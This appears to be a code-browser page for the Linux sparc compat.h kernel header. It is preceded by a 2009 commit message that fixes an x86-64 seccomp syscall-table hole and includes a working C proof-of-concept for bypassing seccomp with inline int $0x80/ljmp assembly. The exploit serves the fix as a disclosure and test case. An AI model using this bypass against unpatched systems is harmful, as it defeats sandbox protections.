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linux/arch/sparc/include/asm/compat.h
Roland McGrath 5b1017404a x86-64: seccomp: fix 32/64 syscall hole 
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call.  A 64-bit process make a 32-bit system call with int $0x80.

In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
the wrong system call number table.  The fix is simple: test TS_COMPAT
instead of TIF_IA32.  Here is an example exploit:

	/* test case for seccomp circumvention on x86-64

	   There are two failure modes: compile with -m64 or compile with -m32.

	   The -m64 case is the worst one, because it does "chmod 777 ." (could
	   be any chmod call).  The -m32 case demonstrates it was able to do
	   stat(), which can glean information but not harm anything directly.

	   A buggy kernel will let the test do something, print, and exit 1; a
	   fixed kernel will make it exit with SIGKILL before it does anything.
	*/

	#define _GNU_SOURCE
	#include <assert.h>
	#include <inttypes.h>
	#include <stdio.h>
	#include <linux/prctl.h>
	#include <sys/stat.h>
	#include <unistd.h>
	#include <asm/unistd.h>

	int
	main (int argc, char **argv)
	{
	  char buf[100];
	  static const char dot[] = ".";
	  long ret;
	  unsigned st[24];

	  if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
	    perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");

	#ifdef __x86_64__
	  assert ((uintptr_t) dot < (1UL << 32));
	  asm ("int $0x80 # %0 <- %1(%2 %3)"
	       : "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
	  ret = snprintf (buf, sizeof buf,
			  "result %ld (check mode on .!)\n", ret);
	#elif defined __i386__
	  asm (".code32\n"
	       "pushl %%cs\n"
	       "pushl $2f\n"
	       "ljmpl $0x33, $1f\n"
	       ".code64\n"
	       "1: syscall # %0 <- %1(%2 %3)\n"
	       "lretl\n"
	       ".code32\n"
	       "2:"
	       : "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
	  if (ret == 0)
	    ret = snprintf (buf, sizeof buf,
			    "stat . -> st_uid=%u\n", st[7]);
	  else
	    ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
	#else
	# error "not this one"
	#endif

	  write (1, buf, ret);

	  syscall (__NR_exit, 1);
	  return 2;
	}

Signed-off-by: Roland McGrath <roland@redhat.com>
[ I don't know if anybody actually uses seccomp, but it's enabled in
  at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
2009-03-02 15:41:30 -08:00

249 lines
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#ifndef _ASM_SPARC64_COMPAT_H
#define _ASM_SPARC64_COMPAT_H
/*
* Architecture specific compatibility types
*/
#include <linux/types.h>
#define COMPAT_USER_HZ 100
typedef u32 compat_size_t;
typedef s32 compat_ssize_t;
typedef s32 compat_time_t;
typedef s32 compat_clock_t;
typedef s32 compat_pid_t;
typedef u16 __compat_uid_t;
typedef u16 __compat_gid_t;
typedef u32 __compat_uid32_t;
typedef u32 __compat_gid32_t;
typedef u16 compat_mode_t;
typedef u32 compat_ino_t;
typedef u16 compat_dev_t;
typedef s32 compat_off_t;
typedef s64 compat_loff_t;
typedef s16 compat_nlink_t;
typedef u16 compat_ipc_pid_t;
typedef s32 compat_daddr_t;
typedef u32 compat_caddr_t;
typedef __kernel_fsid_t compat_fsid_t;
typedef s32 compat_key_t;
typedef s32 compat_timer_t;
typedef s32 compat_int_t;
typedef s32 compat_long_t;
typedef s64 compat_s64;
typedef u32 compat_uint_t;
typedef u32 compat_ulong_t;
typedef u64 compat_u64;
struct compat_timespec {
compat_time_t tv_sec;
s32 tv_nsec;
};
struct compat_timeval {
compat_time_t tv_sec;
s32 tv_usec;
};
struct compat_stat {
compat_dev_t st_dev;
compat_ino_t st_ino;
compat_mode_t st_mode;
compat_nlink_t st_nlink;
__compat_uid_t st_uid;
__compat_gid_t st_gid;
compat_dev_t st_rdev;
compat_off_t st_size;
compat_time_t st_atime;
compat_ulong_t st_atime_nsec;
compat_time_t st_mtime;
compat_ulong_t st_mtime_nsec;
compat_time_t st_ctime;
compat_ulong_t st_ctime_nsec;
compat_off_t st_blksize;
compat_off_t st_blocks;
u32 __unused4[2];
};
struct compat_stat64 {
unsigned long long st_dev;
unsigned long long st_ino;
unsigned int st_mode;
unsigned int st_nlink;
unsigned int st_uid;
unsigned int st_gid;
unsigned long long st_rdev;
unsigned char __pad3[8];
long long st_size;
unsigned int st_blksize;
unsigned char __pad4[8];
unsigned int st_blocks;
unsigned int st_atime;
unsigned int st_atime_nsec;
unsigned int st_mtime;
unsigned int st_mtime_nsec;
unsigned int st_ctime;
unsigned int st_ctime_nsec;
unsigned int __unused4;
unsigned int __unused5;
};
struct compat_flock {
short l_type;
short l_whence;
compat_off_t l_start;
compat_off_t l_len;
compat_pid_t l_pid;
short __unused;
};
#define F_GETLK64 12
#define F_SETLK64 13
#define F_SETLKW64 14
struct compat_flock64 {
short l_type;
short l_whence;
compat_loff_t l_start;
compat_loff_t l_len;
compat_pid_t l_pid;
short __unused;
};
struct compat_statfs {
int f_type;
int f_bsize;
int f_blocks;
int f_bfree;
int f_bavail;
int f_files;
int f_ffree;
compat_fsid_t f_fsid;
int f_namelen; /* SunOS ignores this field. */
int f_frsize;
int f_spare[5];
};
#define COMPAT_RLIM_INFINITY 0x7fffffff
typedef u32 compat_old_sigset_t;
#define _COMPAT_NSIG 64
#define _COMPAT_NSIG_BPW 32
typedef u32 compat_sigset_word;
#define COMPAT_OFF_T_MAX 0x7fffffff
#define COMPAT_LOFF_T_MAX 0x7fffffffffffffffL
/*
* A pointer passed in from user mode. This should not
* be used for syscall parameters, just declare them
* as pointers because the syscall entry code will have
* appropriately converted them already.
*/
typedef u32 compat_uptr_t;
static inline void __user *compat_ptr(compat_uptr_t uptr)
{
return (void __user *)(unsigned long)uptr;
}
static inline compat_uptr_t ptr_to_compat(void __user *uptr)
{
return (u32)(unsigned long)uptr;
}
static inline void __user *compat_alloc_user_space(long len)
{
struct pt_regs *regs = current_thread_info()->kregs;
unsigned long usp = regs->u_regs[UREG_I6];
if (!(test_thread_flag(TIF_32BIT)))
usp += STACK_BIAS;
else
usp &= 0xffffffffUL;
usp -= len;
usp &= ~0x7UL;
return (void __user *) usp;
}
struct compat_ipc64_perm {
compat_key_t key;
__compat_uid32_t uid;
__compat_gid32_t gid;
__compat_uid32_t cuid;
__compat_gid32_t cgid;
unsigned short __pad1;
compat_mode_t mode;
unsigned short __pad2;
unsigned short seq;
unsigned long __unused1; /* yes they really are 64bit pads */
unsigned long __unused2;
};
struct compat_semid64_ds {
struct compat_ipc64_perm sem_perm;
unsigned int __pad1;
compat_time_t sem_otime;
unsigned int __pad2;
compat_time_t sem_ctime;
u32 sem_nsems;
u32 __unused1;
u32 __unused2;
};
struct compat_msqid64_ds {
struct compat_ipc64_perm msg_perm;
unsigned int __pad1;
compat_time_t msg_stime;
unsigned int __pad2;
compat_time_t msg_rtime;
unsigned int __pad3;
compat_time_t msg_ctime;
unsigned int msg_cbytes;
unsigned int msg_qnum;
unsigned int msg_qbytes;
compat_pid_t msg_lspid;
compat_pid_t msg_lrpid;
unsigned int __unused1;
unsigned int __unused2;
};
struct compat_shmid64_ds {
struct compat_ipc64_perm shm_perm;
unsigned int __pad1;
compat_time_t shm_atime;
unsigned int __pad2;
compat_time_t shm_dtime;
unsigned int __pad3;
compat_time_t shm_ctime;
compat_size_t shm_segsz;
compat_pid_t shm_cpid;
compat_pid_t shm_lpid;
unsigned int shm_nattch;
unsigned int __unused1;
unsigned int __unused2;
};
static inline int is_compat_task(void)
{
return test_thread_flag(TIF_32BIT);
}
#endif /* _ASM_SPARC64_COMPAT_H */
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